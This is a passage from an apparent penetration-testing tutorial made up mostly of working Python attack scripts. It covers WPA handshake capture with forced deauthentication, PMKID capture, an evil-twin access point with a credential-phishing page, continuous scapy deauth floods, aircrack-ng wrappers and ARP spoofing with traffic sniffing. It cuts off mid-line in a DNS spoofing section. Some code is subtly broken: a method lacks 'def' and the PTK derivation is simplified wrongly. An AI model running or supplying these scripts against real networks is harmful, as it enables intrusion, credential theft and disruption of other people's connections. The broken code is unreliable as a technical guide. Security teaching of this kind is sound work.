       # Set back to managed mode\n            self.set_managed_mode(interface)\n            \n            return networks\n            \n        except Exception as e:\n            print(f\"Error scanning: {e}\")\n            return []\n\n# Example usage\nwifi = WirelessModes()\n\n# Check interfaces\ninterfaces = wifi.check_wireless_interfaces()\nprint(f\"[+] Wireless interfaces: {interfaces}\")\n\nif interfaces:\n    iface = interfaces[0]\n    \n    # Check monitor support\n    wifi.check_monitor_support(iface)\n    \n    # Get channel info\n    channel_info = wifi.get_channel_info(iface)\n    print(f\"[+] Current channel: {channel_info}\")\n    \n    # Scan networks\n    # networks = wifi.scan_networks(iface)\n    # for net in networks:\n    #     print(f\"  {net.get('ssid', 'Hidden')} - Ch{net.get('channel')} - {net.get('signal')}\")\n```\n\n### 18.2 WPA2/WPA3\n\nWi-Fi Protected Access (WPA) protocols secure wireless communications. Understanding their strengths and weaknesses is crucial for security testing.\n\n#### 18.2.1 WPA2 Four-Way Handshake\n\n```python\n#!/usr/bin/env python3\n# wpa_handshake.py\n\nimport hashlib\nimport hmac\nimport binascii\n\nclass WPAHandshake:\n    def __init__(self):\n        self.versions = {\n            'WPA': 'Temporal Key Integrity Protocol (TKIP)',\n            'WPA2': 'CCMP (AES)',\n            'WPA3': 'Simultaneous Authentication of Equals (SAE)'\n        }\n        \n    def explain_four_way_handshake(self):\n        \"\"\"Explain WPA2 four-way handshake\"\"\"\n        \n        print(\"[+] WPA2 Four-Way Handshake:\")\n        print(\"    STA (Client)                           AP (Access Point)\")\n        print(\"         |                                      |\")\n        print(\"         |----------- Message 1 ---------------&gt;|\")\n        print(\"         |   (ANonce)                           |\")\n        print(\"         |                                      |\")\n        print(\"         |&lt;---------- Message 2 ----------------|\")\n        print(\"         |   (SNonce, MIC)                      |\")\n        print(\"         |                                      |\")\n        print(\"         |----------- Message 3 ---------------&gt;|\")\n        print(\"         |   (GTK, MIC)                         |\")\n        print(\"         |                                      |\")\n        print(\"         |&lt;---------- Message 4 ----------------|\")\n        print(\"         |   (ACK)                              |\")\n        print(\"         |                                      |\")\n        \n    def calculate_pmk(self, password, ssid):\n        \"\"\"Calculate Pairwise Master Key (PMK)\"\"\"\n        \n        # PMK = PBKDF2(password, ssid, 4096, 256)\n        pmk = hashlib.pbkdf2_hmac('sha1', \n                                  password.encode('utf-8'),\n                                  ssid.encode('utf-8'),\n                                  4096, 32)\n        return pmk\n    \n    def calculate_ptk(self, pmk, ap_mac, client_mac, anonce, snonce):\n        \"\"\"Calculate Pairwise Transient Key (PTK)\"\"\"\n        \n        # PTK = PRF-512(PMK, \"Pairwise key expansion\", Min(AP_MAC, STA_MAC) || Max(AP_MAC, STA_MAC) || Min(ANonce, SNonce) || Max(ANonce, SNonce))\n        \n        # Sort MAC addresses\n        mac1 = min(ap_mac, client_mac)\n        mac2 = max(ap_mac, client_mac)\n        \n        # Sort nonces\n        nonce1 = min(anonce, snonce)\n        nonce2 = max(anonce, snonce)\n        \n        # Construct data\n        data = b\"Pairwise key expansion\"\n        data += binascii.unhexlify(mac1.replace(':', ''))\n        data += binascii.unhexlify(mac2.replace(':', ''))\n        data += binascii.unhexlify(nonce1)\n        data += binascii.unhexlify(nonce2)\n        \n        # PRF function (simplified)\n        ptk = hashlib.sha1(pmk + data).digest()[:64]\n        return ptk\n    \n    def calculate_mic(self, ptk, data):\n        \"\"\"Calculate Message Integrity Code (MIC)\"\"\"\n        \n        # MIC is computed using HMAC-SHA1 or HMAC-MD5\n        mic = hmac.new(ptk[:16], data, hashlib.sha1).digest()\n        return mic\n    \n    def crack_handshake(self, handshake_file, wordlist):\n        \"\"\"Simulate handshake cracking\"\"\"\n        \n        print(f\"[*] Attempting to crack handshake: {handshake_file}\")\n        print(f\"[*] Using wordlist: {wordlist}\")\n        \n        # In practice, this would parse the handshake and try passwords\n        # For demonstration, we'll just simulate\n        print(\"    This would use tools like aircrack-ng or hashcat\")\n        \n        # Example using aircrack-ng\n        cmd = f\"aircrack-ng -w {wordlist} {handshake_file}\"\n        print(f\"    Command: {cmd}\")\n        \n        return None\n\n# Example usage\nwpa = WPAHandshake()\nwpa.explain_four_way_handshake()\n\n# Calculate PMK example\npmk = wpa.calculate_pmk(\"password\", \"TestNetwork\")\nprint(f\"\\n[+] PMK: {binascii.hexlify(pmk).decode()[:32]}...\")\n```\n\n#### 18.2.2 WPA3 and SAE\n\n```python\n#!/usr/bin/env python3\n# wpa3_sae.py\n\nclass WPA3SAE:\n    def __init__(self):\n        self.sae_features = {\n            'dragonfly_handshake': 'Simultaneous Authentication of Equals',\n            'forward_secrecy': 'Compromised keys don't affect past sessions',\n            'mgmt_frame_protection': 'Protected management frames (PMF) required',\n            'anti_clogging': 'Protection against denial of service',\n            'password_salt': 'Password salting for dictionary attack resistance'\n        }\n        \n    def explain_sae_handshake(self):\n        \"\"\"Explain WPA3 SAE handshake\"\"\"\n        \n        print(\"[+] WPA3 SAE (Simultaneous Authentication of Equals) Handshake:\")\n        print(\"    STA (Client)                           AP (Access Point)\")\n        print(\"         |                                      |\")\n        print(\"         |------ Commit (scalar, element) -----&gt;|\")\n        print(\"         |   (Commitment to password)           |\")\n        print(\"         |                                      |\")\n        print(\"         |&lt;----- Commit (scalar, element) ------|\")\n        print(\"         |   (Commitment to password)           |\")\n        print(\"         |                                      |\")\n        print(\"         |      (Both derive PMK)               |\")\n        print(\"         |                                      |\")\n        print(\"         |------ Confirm (MIC) ----------------&gt;|\")\n        print(\"         |   (Proof of PMK)                     |\")\n        print(\"         |                                      |\")\n        print(\"         |&lt;----- Confirm (MIC) -----------------|\")\n        print(\"         |   (Proof of PMK)                     |\")\n        print(\"         |                                      |\")\n        \n    def compare_security(self):\n        \"\"\"Compare WPA2 and WPA3 security features\"\"\"\n        \n        comparison = {\n            'feature': ['Encryption', 'Authentication', 'Key Exchange', 'Forward Secrecy', 'Dictionary Attack Resistance', 'Management Frame Protection'],\n            'WPA2': ['CCMP (AES)', 'PSK/802.1X', '4-Way Handshake', 'No', 'Weak', 'Optional'],\n            'WPA3': ['GCMP-256 (AES)', 'SAE/802.1X', 'Dragonfly Handshake', 'Yes', 'Strong', 'Mandatory']\n        }\n        \n        print(\"\\n[+] WPA2 vs WPA3 Comparison:\")\n        for i in range(len(comparison['feature'])):\n            print(f\"    {comparison['feature'][i]:&lt;30} {comparison['WPA2'][i]:&lt;20} {comparison['WPA3'][i]:&lt;20}\")\n            \n    def dragonfly_math(self):\n        \"\"\"Explain the mathematics behind Dragonfly key exchange\"\"\"\n        \n        print(\"\\n[+] Dragonfly Key Exchange (Simplified):\")\n        print(\"    1. Both parties know password P\")\n        print(\"    2. Generate secret values: r1, r2\")\n        print(\"    3. Compute scalars: s1 = (r1 + H(P)) mod q\")\n        print(\"    4. Compute elements: E1 = -r2 * P\")\n        print(\"    5. Exchange (s1, E1) and (s2, E2)\")\n        print(\"    6. Compute shared secret: K = r1*(s2*Q - r2*P)\")\n        print(\"    7. Derive PMK from K\")\n\n# Example usage\nwpa3 = WPA3SAE()\nwpa3.explain_sae_handshake()\nwpa3.compare_security()\n```\n\n### 18.3 Capturing Handshakes\n\nCapturing the 4-way handshake is essential for offline password cracking.\n\n#### 18.3.1 Handshake Capture Tools and Techniques\n\n```python\n#!/usr/bin/env python3\n# handshake_capture.py\n\nimport subprocess\nimport time\nimport os\nimport re\n\nclass HandshakeCapture:\n    def __init__(self, interface):\n        self.interface = interface\n        self.capture_file = None\n        \n    def setup_monitor_mode(self):\n        \"\"\"Set interface to monitor mode\"\"\"\n        \n        commands = [\n            ['sudo', 'airmon-ng', 'check', 'kill'],\n            ['sudo', 'airmon-ng', 'start', self.interface]\n        ]\n        \n        for cmd in commands:\n            try:\n                subprocess.run(cmd, check=True)\n                time.sleep(1)\n            except:\n                pass\n                \n        # Get monitor interface name\n        result = subprocess.run(['iwconfig'], capture_output=True, text=True)\n        for line in result.stdout.split('\\n'):\n            if 'Mode:Monitor' in line:\n                self.monitor_iface = line.split()[0]\n                print(f\"[+] Monitor mode on {self.monitor_iface}\")\n                return self.monitor_iface\n                \n        return None\n    \n    def scan_networks(self):\n        \"\"\"Scan for target networks\"\"\"\n        \n        print(\"[*] Scanning for networks...\")\n        \n        try:\n            # Start airodump to scan\n            scan_proc = subprocess.Popen(\n                ['sudo', 'airodump-ng', self.monitor_iface],\n                stdout=subprocess.PIPE,\n                stderr=subprocess.PIPE,\n                text=True\n            )\n            \n            time.sleep(10)  # Scan for 10 seconds\n            scan_proc.terminate()\n            \n            # Parse output\n            networks = []\n            # In practice, would parse the output\n            # For demo, we'll return a placeholder\n            \n            return networks\n            \n        except Exception as e:\n            print(f\"Error scanning: {e}\")\n            return []\n    \n    def capture_handshake(self, bssid, channel, output_file):\n        \"\"\"Capture 4-way handshake for target AP\"\"\"\n        \n        print(f\"[*] Capturing handshake for {bssid} on channel {channel}\")\n        \n        # Set channel\n        subprocess.run(['sudo', 'iwconfig', self.monitor_iface, 'channel', channel])\n        \n        # Start airodump to capture handshake\n        self.capture_file = output_file\n        \n        capture_cmd = [\n            'sudo', 'airodump-ng',\n            '-c', channel,\n            '--bssid', bssid,\n            '-w', output_file,\n            self.monitor_iface\n        ]\n        \n        print(f\"[*] Starting capture: {' '.join(capture_cmd)}\")\n        \n        # Start capture in background\n        self.capture_proc = subprocess.Popen(\n            capture_cmd,\n            stdout=subprocess.DEVNULL,\n            stderr=subprocess.DEVNULL\n        )\n        \n        return True\n    \n    def deauth_attack(self, bssid, client=None, count=5):\n        \"\"\"Send deauthentication packets to force reconnection\"\"\"\n        \n        print(f\"[*] Sending deauth to {bssid}\" + (f\" for client {client}\" if client else \"\"))\n        \n        deauth_cmd = [\n            'sudo', 'aireplay-ng',\n            '-0', str(count),  # Deauth count\n            '-a', bssid        # AP MAC\n        ]\n        \n        if client:\n            deauth_cmd.extend(['-c', client])\n            \n        deauth_cmd.append(self.monitor_iface)\n        \n        try:\n            subprocess.run(deauth_cmd, check=True, timeout=10)\n            return True\n        except:\n            return False\n    \n    def check_handshake(self, capture_file):\n        \"\"\"Check if handshake was captured\"\"\"\n        \n        try:\n            # Use aircrack-ng to check for handshake\n            result = subprocess.run(\n                ['aircrack-ng', capture_file + '-01.cap'],\n                capture_output=True,\n                text=True\n            )\n            \n            if '1 handshake' in result.stdout:\n                print(f\"[+] Handshake captured in {capture_file}\")\n                return True\n            else:\n                print(\"[-] No handshake captured yet\")\n                return False\n        except:\n            return False\n    \n    def stop_capture(self):\n        \"\"\"Stop capture process\"\"\"\n        if hasattr(self, 'capture_proc'):\n            self.capture_proc.terminate()\n            print(\"[*] Capture stopped\")\n            \n    def cleanup(self):\n        \"\"\"Clean up monitor mode\"\"\"\n        \n        commands = [\n            ['sudo', 'airmon-ng', 'stop', self.monitor_iface],\n            ['sudo', 'service', 'network-manager', 'restart']\n        ]\n        \n        for cmd in commands:\n            try:\n                subprocess.run(cmd)\n            except:\n                pass\n\n# Example usage\ncapture = HandshakeCapture('wlan0')\n\n# Setup monitor mode\nmon_iface = capture.setup_monitor_mode()\n\nif mon_iface:\n    # Target AP details\n    bssid = \"AA:BB:CC:DD:EE:FF\"\n    channel = \"6\"\n    output = \"handshake\"\n    \n    # Start capture\n    capture.capture_handshake(bssid, channel, output)\n    \n    # Send deauth to force handshake\n    time.sleep(5)\n    capture.deauth_attack(bssid, count=3)\n    \n    # Check for handshake\n    time.sleep(10)\n    capture.check_handshake(output)\n    \n    # Clean up\n    capture.stop_capture()\n    capture.cleanup()\n```\n\n#### 18.3.2 PMKID Capture\n\n```python\n#!/usr/bin/env python3\n# pmkid_capture.py\n\nclass PMKIDCapture:\n    def __init__(self):\n        self.pmkid_info = {\n            'what': 'PMKID is a hash of the PMK, AP MAC, and STA MAC',\n            'why': 'Can be captured without a full 4-way handshake',\n            'when': 'Sent by some APs in the first EAPOL frame',\n            'advantage': 'No need to capture full handshake or deauth clients'\n        }\n        \n    def explain_pmkid(self):\n        \"\"\"Explain PMKID attack\"\"\"\n        \n        print(\"[+] PMKID Attack:\")\n        print(\"    PMKID = HMAC-SHA1(PMK, (\\\"PMK Name\\\" | AP MAC | STA MAC))\")\n        print(\"\\n    Advantages over traditional handshake capture:\")\n        print(\"    \u2022 No client required - can target AP directly\")\n        print(\"    \u2022 No deauth packets needed - more stealthy\")\n        print(\"    \u2022 Works on WPA3 transition mode\")\n        \n    def capture_pmkid(self, interface, bssid):\n        \"\"\"Capture PMKID using hcxdumptool\"\"\"\n        \n        print(f\"[*] Attempting to capture PMKID from {bssid}\")\n        \n        # Command using hcxdumptool\n        cmd = [\n            'sudo', 'hcxdumptool',\n            '-i', interface,\n            '--filterlist_ap=-',  # Filter by AP\n            '--filtermode=2',       # Include only specified APs\n            '-o', 'pmkid_capture.pcapng',\n            '--enable_status=1'\n        ]\n        \n        print(f\"    Command: {' '.join(cmd)}\")\n        print(\"    This would capture PMKID from the target AP\")\n        \n    convert_to_hashcat(self, pcap_file, output_file):\n        \"\"\"Convert capture to hashcat format\"\"\"\n        \n        cmd = ['hcxpcapngtool', '-o', output_file, pcap_file]\n        print(f\"    Convert to hashcat format: {' '.join(cmd)}\")\n\n# Example usage\npmkid = PMKIDCapture()\npmkid.explain_pmkid()\n```\n\n### 18.4 Evil Twin Attacks\n\nEvil twin attacks involve setting up a rogue access point that mimics a legitimate one.\n\n#### 18.4.1 Rogue AP Setup\n\n```python\n#!/usr/bin/env python3\n# evil_twin.py\n\nimport subprocess\nimport time\nimport os\n\nclass EvilTwin:\n    def __init__(self, interface):\n        self.interface = interface\n        self.ap_interface = None\n        \n    def setup_ap(self, ssid, channel, bssid=None):\n        \"\"\"Setup rogue access point\"\"\"\n        \n        print(f\"[*] Setting up evil twin: {ssid} on channel {channel}\")\n        \n        # Create hostapd configuration\n        hostapd_conf = f\"\"\"\ninterface={self.interface}\ndriver=nl80211\nssid={ssid}\nchannel={channel}\nhw_mode=g\n{'bssid=' + bssid if bssid else ''}\nwpa=2\nwpa_passphrase=evilpassword123\nwpa_key_mgmt=WPA-PSK\nrsn_pairwise=CCMP\n\"\"\"\n        \n        with open('/tmp/hostapd.conf', 'w') as f:\n            f.write(hostapd_conf)\n            \n        # Create dnsmasq configuration for DHCP\n        dnsmasq_conf = \"\"\"\ninterface={self.interface}\ndhcp-range=192.168.1.10,192.168.1.100,12h\ndhcp-option=3,192.168.1.1\ndhcp-option=6,192.168.1.1\nserver=8.8.8.8\nlog-queries\nlog-dhcp\n\"\"\"\n        \n        with open('/tmp/dnsmasq.conf', 'w') as f:\n            f.write(dnsmasq_conf.format(self=self))\n            \n        # Set IP address\n        subprocess.run(['sudo', 'ifconfig', self.interface, '192.168.1.1', 'netmask', '255.255.255.0', 'up'])\n        \n        return True\n    \n    def start_ap(self):\n        \"\"\"Start the rogue AP\"\"\"\n        \n        print(\"[*] Starting rogue AP...\")\n        \n        # Start hostapd\n        self.hostapd_proc = subprocess.Popen(\n            ['sudo', 'hostapd', '/tmp/hostapd.conf'],\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE\n        )\n        \n        # Start dnsmasq\n        self.dnsmasq_proc = subprocess.Popen(\n            ['sudo', 'dnsmasq', '-C', '/tmp/dnsmasq.conf', '-d'],\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE\n        )\n        \n        time.sleep(2)\n        print(\"[+] Evil twin AP is running\")\n        \n    def setup_deauth(self, target_interface, target_bssid):\n        \"\"\"Setup deauth attack against legitimate AP\"\"\"\n        \n        print(f\"[*] Starting deauth attack against {target_bssid}\")\n        \n        self.deauth_proc = subprocess.Popen(\n            ['sudo', 'aireplay-ng', '-0', '0', '-a', target_bssid, target_interface],\n            stdout=subprocess.DEVNULL,\n            stderr=subprocess.DEVNULL\n        )\n        \n    def setup_credential_capture(self):\n        \"\"\"Capture credentials from victims\"\"\"\n        \n        # Setup a simple web server to capture credentials\n        phishing_page = \"\"\"\n\n\n\n    Wi-Fi Login\n\n\n    \nWi-Fi Network Update\n    \nPlease enter your network password to continue using the Wi-Fi:\n    \n\n        Password: \n        \n    \n\n\n\"\"\"\n        \n        with open('/tmp/index.html', 'w') as f:\n            f.write(phishing_page)\n            \n        # Start a simple HTTP server to serve the page and capture credentials\n        # In practice, you'd use a more sophisticated server with credential logging\n        \n    def stop(self):\n        \"\"\"Stop all processes\"\"\"\n        \n        for proc in ['hostapd_proc', 'dnsmasq_proc', 'deauth_proc']:\n            if hasattr(self, proc):\n                getattr(self, proc).terminate()\n                \n        # Clean up\n        subprocess.run(['sudo', 'pkill', 'hostapd'])\n        subprocess.run(['sudo', 'pkill', 'dnsmasq'])\n        \n        print(\"[*] Evil twin stopped\")\n\n# Example usage\nevil = EvilTwin('wlan1')\n\n# Setup evil twin\nevil.setup_ap('FreeWiFi', '6')\nevil.start_ap()\n\n# Deauth legitimate AP\n# evil.setup_deauth('wlan0', 'AA:BB:CC:DD:EE:FF')\n\n# Run for a while\ntry:\n    time.sleep(300)\nexcept KeyboardInterrupt:\n    pass\n\n# Clean up\nevil.stop()\n```\n\n### 18.5 Deauthentication Attacks\n\nDeauthentication attacks disconnect clients from APs, forcing reconnection and handshake capture.\n\n#### 18.5.1 Deauth Attack Implementation\n\n```python\n#!/usr/bin/env python3\n# deauth_attack.py\n\nfrom scapy.all import *\nimport time\nimport sys\n\nclass DeauthAttack:\n    def __init__(self, interface):\n        self.interface = interface\n        \n    def create_deauth_packet(self, ap_mac, client_mac=None):\n        \"\"\"Create deauthentication packet\"\"\"\n        \n        # RadioTap header\n        radiotap = RadioTap()\n        \n        # Dot11 header\n        if client_mac:\n            # Directed deauth to specific client\n            dot11 = Dot11(\n                addr1=client_mac,  # Destination (client)\n                addr2=ap_mac,      # Source (AP)\n                addr3=ap_mac,      # BSSID\n                type=0,\n                subtype=12\n            )\n        else:\n            # Broadcast deauth\n            dot11 = Dot11(\n                addr1='ff:ff:ff:ff:ff:ff',  # Broadcast\n                addr2=ap_mac,\n                addr3=ap_mac,\n                type=0,\n                subtype=12\n            )\n            \n        # Deauth reason (7 - Class 3 frame received from nonassociated STA)\n        deauth = Dot11Deauth(reason=7)\n        \n        packet = radiotap / dot11 / deauth\n        return packet\n    \n    def send_deauth(self, ap_mac, client_mac=None, count=10, interval=0.1):\n        \"\"\"Send deauthentication packets\"\"\"\n        \n        print(f\"[*] Sending deauth to {ap_mac}\" + \n              (f\" for client {client_mac}\" if client_mac else \" (broadcast)\"))\n        \n        packet = self.create_deauth_packet(ap_mac, client_mac)\n        \n        sent = 0\n        for i in range(count):\n            sendp(packet, iface=self.interface, verbose=False)\n            sent += 1\n            if sent % 10 == 0:\n                print(f\"  Sent {sent} packets\")\n            time.sleep(interval)\n            \n        print(f\"[+] Sent {sent} deauth packets\")\n        return sent\n    \n    def continuous_deauth(self, ap_mac, client_mac=None):\n        \"\"\"Send continuous deauth attack\"\"\"\n        \n        print(f\"[*] Starting continuous deauth (Press Ctrl+C to stop)\")\n        \n        packet = self.create_deauth_packet(ap_mac, client_mac)\n        sent = 0\n        \n        try:\n            while True:\n                sendp(packet, iface=self.interface, verbose=False)\n                sent += 1\n                if sent % 100 == 0:\n                    print(f\"  Sent {sent} packets\")\n                time.sleep(0.05)  # 20 packets per second\n        except KeyboardInterrupt:\n            print(f\"\\n[+] Stopped. Sent {sent} packets\")\n            \n    def detect_clients(self, ap_mac, timeout=30):\n        \"\"\"Detect clients connected to AP\"\"\"\n        \n        print(f\"[*] Sniffing for clients connected to {ap_mac}...\")\n        \n        clients = set()\n        \n        def packet_handler(pkt):\n            if pkt.haslayer(Dot11):\n                # Check for data frames from client to AP\n                if pkt.addr2 and pkt.addr1 == ap_mac:\n                    if pkt.addr2 not in clients:\n                        clients.add(pkt.addr2)\n                        print(f\"  Found client: {pkt.addr2}\")\n                        \n        # Sniff for packets\n        sniff(iface=self.interface, prn=packet_handler, timeout=timeout)\n        \n        return list(clients)\n    \n    def targeted_deauth_all(self, ap_mac, clients):\n        \"\"\"Send deauth to all discovered clients\"\"\"\n        \n        print(f\"[*] Deauthenticating {len(clients)} clients...\")\n        \n        for client in clients:\n            self.send_deauth(ap_mac, client, count=5, interval=0.05)\n            time.sleep(0.1)\n\n# Example usage\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 3:\n        print(\"Usage: deauth_attack.py   [client_mac]\")\n        sys.exit(1)\n        \n    interface = sys.argv[1]\n    ap_mac = sys.argv[2]\n    client_mac = sys.argv[3] if len(sys.argv) &gt; 3 else None\n    \n    # Set interface to monitor mode\n    # This should be done before running the script\n    \n    deauth = DeauthAttack(interface)\n    \n    if client_mac:\n        # Single client deauth\n        deauth.send_deauth(ap_mac, client_mac, count=50)\n    else:\n        # Detect clients and deauth all\n        clients = deauth.detect_clients(ap_mac, timeout=20)\n        if clients:\n            deauth.targeted_deauth_all(ap_mac, clients)\n        else:\n            # Broadcast deauth if no clients found\n            deauth.send_deauth(ap_mac, count=100)\n```\n\n#### 18.5.2 Aircrack-ng Suite\n\n```python\n#!/usr/bin/env python3\n# aircrack_ng_suite.py\n\nimport subprocess\nimport os\nimport time\n\nclass AircrackSuite:\n    def __init__(self):\n        self.tools = {\n            'airmon-ng': 'Wireless interface management',\n            'airodump-ng': 'Packet capture',\n            'aireplay-ng': 'Packet injection',\n            'aircrack-ng': 'WEP/WPA key cracking',\n            'airdecap-ng': 'Decrypt captured packets',\n            'packetforge-ng': 'Create forged packets',\n            'ivstools': 'Merge and convert capture files'\n        }\n        \n    def check_airmon(self):\n        \"\"\"Check airmon-ng status\"\"\"\n        \n        print(\"[*] Checking airmon-ng status...\")\n        \n        try:\n            result = subprocess.run(['sudo', 'airmon-ng'], capture_output=True, text=True)\n            print(result.stdout)\n            \n            # Check for interfering processes\n            check = subprocess.run(['sudo', 'airmon-ng', 'check'], capture_output=True, text=True)\n            if 'Processes that may cause trouble' in check.stdout:\n                print(\"[!] Interfering processes found:\")\n                print(check.stdout)\n                \n        except Exception as e:\n            print(f\"Error: {e}\")\n            \n    def start_monitor(self, interface):\n        \"\"\"Start monitor mode on interface\"\"\"\n        \n        cmd = ['sudo', 'airmon-ng', 'start', interface]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            print(result.stdout)\n            \n            # Get monitor interface name\n            for line in result.stdout.split('\\n'):\n                if '(monitor mode enabled)' in line:\n                    mon_iface = line.split()[1].strip(')')\n                    print(f\"[+] Monitor mode enabled on {mon_iface}\")\n                    return mon_iface\n        except Exception as e:\n            print(f\"Error: {e}\")\n            \n        return None\n    \n    def stop_monitor(self, mon_iface):\n        \"\"\"Stop monitor mode\"\"\"\n        \n        cmd = ['sudo', 'airmon-ng', 'stop', mon_iface]\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            print(f\"[+] Monitor mode stopped on {mon_iface}\")\n        except Exception as e:\n            print(f\"Error: {e}\")\n            \n    def run_airodump(self, interface, channel=None, bssid=None, output=None):\n        \"\"\"Run airodump-ng for packet capture\"\"\"\n        \n        cmd = ['sudo', 'airodump-ng', interface]\n        \n        if channel:\n            cmd.extend(['-c', channel])\n        if bssid:\n            cmd.extend(['--bssid', bssid])\n        if output:\n            cmd.extend(['-w', output])\n            \n        print(f\"[*] Running: {' '.join(cmd)}\")\n        \n        # This runs interactively, so we'll just print the command\n        return cmd\n    \n    def crack_handshake(self, capture_file, wordlist):\n        \"\"\"Crack WPA handshake with aircrack-ng\"\"\"\n        \n        cmd = ['aircrack-ng', '-w', wordlist, capture_file]\n        \n        print(f\"[*] Cracking handshake: {' '.join(cmd)}\")\n        \n        try:\n            result = subprocess.run(cmd, capture_output=True, text=True)\n            print(result.stdout)\n            \n            if 'KEY FOUND' in result.stdout:\n                print(\"[+] Key found!\")\n                return True\n            else:\n                print(\"[-] Key not found in wordlist\")\n                return False\n        except Exception as e:\n            print(f\"Error: {e}\")\n            return False\n    \n    def aireplay_attack(self, interface, ap_mac, client_mac=None, attack_type='deauth'):\n        \"\"\"Run aireplay-ng attacks\"\"\"\n        \n        if attack_type == 'deauth':\n            cmd = ['sudo', 'aireplay-ng', '-0', '10', '-a', ap_mac]\n            if client_mac:\n                cmd.extend(['-c', client_mac])\n            cmd.append(interface)\n            \n        elif attack_type == 'fakeauth':\n            cmd = ['sudo', 'aireplay-ng', '-1', '0', '-e', 'SSID', '-a', ap_mac, '-h', '00:11:22:33:44:55', interface]\n            \n        elif attack_type == 'arp':\n            cmd = ['sudo', 'aireplay-ng', '-3', '-b', ap_mac, '-h', '00:11:22:33:44:55', interface]\n            \n        else:\n            print(f\"[-] Unknown attack type: {attack_type}\")\n            return None\n            \n        print(f\"[*] Running: {' '.join(cmd)}\")\n        return cmd\n\n# Example usage\nair = AircrackSuite()\n\n# Check airmon\nair.check_airmon()\n\n# Start monitor mode\nmon_iface = air.start_monitor('wlan0')\n\nif mon_iface:\n    # Run airodump (would be interactive)\n    air.run_airodump(mon_iface, channel='6', output='capture')\n    \n    # Later, crack handshake\n    # air.crack_handshake('capture-01.cap', '/usr/share/wordlists/rockyou.txt')\n    \n    # Stop monitor mode\n    # air.stop_monitor(mon_iface)\n```\n\n---\n\n## Chapter 19 \u2014 Network Attacks\n\nNetwork attacks target the underlying network infrastructure, protocols, and communications.\n\n### 19.1 ARP Spoofing\n\nARP spoofing (ARP poisoning) is a technique to intercept traffic on a local network.\n\n#### 19.1.1 ARP Spoofing Implementation\n\n```python\n#!/usr/bin/env python3\n# arp_spoofing.py\n\nfrom scapy.all import *\nimport time\nimport sys\nimport threading\n\nclass ARPSpoofer:\n    def __init__(self, interface):\n        self.interface = interface\n        self.running = False\n        self.packets_forwarded = 0\n        \n    def get_mac(self, ip):\n        \"\"\"Get MAC address for IP using ARP\"\"\"\n        \n        arp_request = ARP(pdst=ip)\n        broadcast = Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n        arp_request_broadcast = broadcast/arp_request\n        \n        answered_list = srp(arp_request_broadcast, timeout=2, \n                          iface=self.interface, verbose=False)[0]\n        \n        if answered_list:\n            return answered_list[0][1].hwsrc\n        return None\n    \n    def spoof(self, target_ip, spoof_ip):\n        \"\"\"Send ARP spoofing packet\"\"\"\n        \n        target_mac = self.get_mac(target_ip)\n        if not target_mac:\n            print(f\"[-] Could not get MAC for {target_ip}\")\n            return False\n            \n        packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)\n        send(packet, iface=self.interface, verbose=False)\n        self.packets_forwarded += 1\n        return True\n    \n    def restore(self, target_ip, source_ip):\n        \"\"\"Restore ARP tables to original state\"\"\"\n        \n        target_mac = self.get_mac(target_ip)\n        source_mac = self.get_mac(source_ip)\n        \n        if target_mac and source_mac:\n            packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, \n                        psrc=source_ip, hwsrc=source_mac)\n            send(packet, count=4, iface=self.interface, verbose=False)\n            print(f\"[+] ARP tables restored for {target_ip}\")\n    \n    def start_spoofing(self, target_ip, gateway_ip):\n        \"\"\"Start continuous ARP spoofing\"\"\"\n        \n        self.running = True\n        print(f\"[*] Starting ARP spoofing: {target_ip} &lt;-&gt; {gateway_ip}\")\n        print(\"[*] Press Ctrl+C to stop\")\n        \n        # Enable IP forwarding\n        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:\n            f.write('1')\n            \n        try:\n            while self.running:\n                # Spoof target: gateway's IP is at attacker's MAC\n                self.spoof(target_ip, gateway_ip)\n                \n                # Spoof gateway: target's IP is at attacker's MAC\n                self.spoof(gateway_ip, target_ip)\n                \n                time.sleep(2)  # Send every 2 seconds\n                \n        except KeyboardInterrupt:\n            print(\"\\n[*] Stopping ARP spoofing...\")\n            self.stop_spoofing(target_ip, gateway_ip)\n            \n    def stop_spoofing(self, target_ip, gateway_ip):\n        \"\"\"Stop ARP spoofing and restore ARP tables\"\"\"\n        \n        self.running = False\n        \n        # Restore ARP tables\n        self.restore(target_ip, gateway_ip)\n        self.restore(gateway_ip, target_ip)\n        \n        # Disable IP forwarding\n        with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:\n            f.write('0')\n            \n        print(f\"[+] ARP spoofing stopped. {self.packets_forwarded} packets forwarded\")\n        \n    def sniff_traffic(self, filter=None, count=0):\n        \"\"\"Sniff traffic after ARP spoofing\"\"\"\n        \n        print(f\"[*] Sniffing traffic on {self.interface}...\")\n        \n        def packet_callback(pkt):\n            if IP in pkt:\n                print(f\"  {pkt[IP].src}:{pkt.sport if TCP in pkt else ''} -&gt; \"\n                      f\"{pkt[IP].dst}:{pkt.dport if TCP in pkt else ''}\")\n                \n        sniff(iface=self.interface, prn=packet_callback, \n              filter=filter, count=count, store=0)\n\n# Example usage\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 4:\n        print(\"Usage: arp_spoofing.py   \")\n        sys.exit(1)\n        \n    interface = sys.argv[1]\n    target_ip = sys.argv[2]\n    gateway_ip = sys.argv[3]\n    \n    spoofer = ARPSpoofer(interface)\n    \n    # Start spoofing in a separate thread\n    spoof_thread = threading.Thread(\n        target=spoofer.start_spoofing,\n        args=(target_ip, gateway_ip)\n    )\n    spoof_thread.start()\n    \n    # Sniff traffic\n    try:\n        spoofer.sniff_traffic()\n    except KeyboardInterrupt:\n        spoofer.stop_spoofing(target_ip, gateway_ip)\n```\n\n### 19.2 DNS Spoofing\n\nDNS spoofing redirects victims to malicious sites by forging DNS responses.\n\n#### 19.2.1 DNS Spoofing Implementation\n\n```python\n#!/usr/bin/env python3\n# dns_spoofing.py\n\nfrom scapy.all import *\nimport netifaces\nimport sys\n\nclass DNSSpoofer:\n    def __init__(self, interface):\n        self.interface = interface\n        self.running = False\n        self.redirect_map = {}\n        \n    def get_gateway(self):\n        \"\"\"Get gateway IP for interface\"\"\"\n        \n        gateways = netifaces.gateways()\n        default_gateway = 